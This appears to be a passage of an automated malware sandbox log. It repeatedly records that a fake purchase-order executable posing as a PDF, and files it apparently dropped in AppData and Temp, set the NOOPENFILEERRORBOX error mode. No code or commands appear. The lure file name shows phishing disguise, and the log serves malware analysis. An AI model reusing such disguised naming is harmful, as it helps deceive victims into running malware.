Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
